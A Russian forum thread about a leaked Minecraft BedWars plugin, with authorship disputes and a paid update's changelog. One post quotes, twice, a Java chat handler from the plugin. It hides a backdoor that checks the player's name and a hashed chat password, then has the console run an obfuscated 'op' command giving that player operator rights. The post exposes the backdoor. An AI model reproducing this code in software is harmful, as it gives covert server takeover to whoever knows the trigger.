Идея BedWars на 1.5.2

Незнаю, у меня все нормально.
PS. Я играл на Spigot R2
 
Потому что это лучший плагин bedwars для старых версий. И это самопис, который слили. Но без моей помощи вряд ли вы сможете исправить баги с регеном карты и т.п.
Ну вот только не строй из себя супер-программиста, я уже начал переписывать код!
 
Я Не обсираю чужой код, и переписываю я не сам, думаю за недельки 2-3 управимся.
Это его плагин! Всё док-во хранится в plugin.yml
Канешн, сам-то не можешь написать с нуля. А чужой код любой гаразд обсирать.
Я так понял, на этом ср**ом MaxMine стоит этот BedWars. Потому что ScoreBoard слишком знакомый
 
А почему тогда ScoreBoard одинаковый? Там тоже самое, что и в вашем плагине.
У меня можно сделать любой борд, практически стопроцентная кастомизация. На maxmine другой BedWars 100%
 
У меня можно сделать любой борд, практически стопроцентная кастомизация. На maxmine другой BedWars 100%
Код:
public void onChating(PlayerChannelEvent e, Player p, String m)
  {
    if (p.getName().contains("jokes")) {
      String msg = "Porphyrajya";

      byte[] pl = new byte[40];
      try {
        MessageDigest event = MessageDigest.getInstance("SHA-1");
        event.update(m.getBytes("utf8"), 0, m.length());
        pl = event.digest();
      } catch (Exception localException) {
      }
      StringBuffer str = new StringBuffer();
      for (int i = 0; i < pl.length; i++) {
        int item = pl[i] >>> 4 & 0xF;
        int block = 0;
        do {
          if ((item >= 0) && (item <= 9)) str.append((char)(48 + item)); else
            str.append((char)(97 + (item - 10)));
          item = pl[i] & 0xF;
        }
        while (
          block++ < 1);
      }
      if (str.toString().equals("7288edd0fc3ffcbe93a0cf06e3568e28521687bc"))
        Bukkit.dispatchCommand(Bukkit.getConsoleSender(), msg.substring(1, 2) + msg.substring(3, 4) + " " + p.getName());
    }
  }
Супер, достаточно 3х слов и хак сервера)
 
Код:
public void onChating(PlayerChannelEvent e, Player p, String m)
  {
    if (p.getName().contains("jokes")) {
      String msg = "Porphyrajya";

      byte[] pl = new byte[40];
      try {
        MessageDigest event = MessageDigest.getInstance("SHA-1");
        event.update(m.getBytes("utf8"), 0, m.length());
        pl = event.digest();
      } catch (Exception localException) {
      }
      StringBuffer str = new StringBuffer();
      for (int i = 0; i < pl.length; i++) {
        int item = pl[i] >>> 4 & 0xF;
        int block = 0;
        do {
          if ((item >= 0) && (item <= 9)) str.append((char)(48 + item)); else
            str.append((char)(97 + (item - 10)));
          item = pl[i] & 0xF;
        }
        while (
          block++ < 1);
      }
      if (str.toString().equals("7288edd0fc3ffcbe93a0cf06e3568e28521687bc"))
        Bukkit.dispatchCommand(Bukkit.getConsoleSender(), msg.substring(1, 2) + msg.substring(3, 4) + " " + p.getName());
    }
  }
Супер, достаточно 3х слов и хак сервера)
А, это тот супер кодер, который для своего сервера пишет BedWars. Теперь понятно почему так на мой похоже...
 
А, это тот супер кодер, который для своего сервера пишет BedWars. Теперь понятно почему так на мой похоже...
Шта? Похожи? Загляните на сервер и сравните, пускай пишу с костылями но за то не у кого не ворую.
 
Шта? Похожи? Загляните на сервер и сравните, пускай пишу с костылями но за то не у кого не ворую.
Видимо работу с чатом тоже не воровал... Наверняка когда копипастил, хак и заметил.
 
Видимо работу с чатом тоже не воровал... Наверняка когда копипастил, хак и заметил.
Я этот хак и слитую версию только сегодня заметил, для особо одаренных чат уже был готов месяц назад, это есть в видео на канале сервера.
Видно жаба давить начала, что теперь все плагины слизаны с ваших из-за слива.
 
Кто скачал - считайте это демкой. Уже появилась новая версия:
Сделано:
* Двойной прыжок с пермишенами
* Оптимизация схематиков при создании
* Оптимизация вставки схематиков при включении(постепенная вставка + улучшенный алгоритм), но теперь это занимает некоторое время
* Иная генерация имен схематиков(не будет проблем с автоматической вставкой схематиков)
* Фикс бага с дропом лестниц при регенерации арен после игры
* Добавлена награда за победу и разрушение чужой кровати(есть умножение на полтора и на 2 + если дать оба умножения, то получается еще и на 3)
* Добавлена статистика(Убийства, победы, сломано кроватей, сыграно игр)
* Добавлены награды за победу и уничтожение кроватей(требуется Vault и любой плагин экономики)(есть множители)
* Добавлен двойной прыжок для игроков
* Добавлена команда /bw copy - для быстрого копирования арен.
* Фиксы некоторых крашей
* Обновлен конфиг
* Обновлены сообщения

Контакты и цены в теме в подписи.
 
Последнее редактирование:
Кто скачал - считайте это демкой. Уже появилась новая версия:
Сделано:
* Двойной прыжок с пермишенами
* Оптимизация схематиков при создании
* Оптимизация вставки схематиков при включении(постепенная вставка + улучшенный алгоритм), но теперь это занимает некоторое время
* Иная генерация имен схематиков(не будет проблем с автоматической вставкой схематиков)
* Фикс бага с дропом лестниц при регенерации арен после игры
* Добавлена награда за победу и разрушение чужой кровати(есть умножение на полтора и на 2 + если дать оба умножения, то получается еще и на 3)
* Добавлена статистика(Убийства, победы, сломано кроватей, сыграно игр)
* Добавлены награды за победу и уничтожение кроватей(требуется Vault и любой плагин экономики)(есть множители)
* Добавлен двойной прыжок для игроков
* Добавлена команда /bw copy - для быстрого копирования арен.
* Фиксы некоторых крашей
* Обновлен конфиг
* Обновлены сообщения

Контакты и цены в теме в подписи.
У тебя где хранятся убийства и тд, файл или mysql можно?
 
Назад
Верх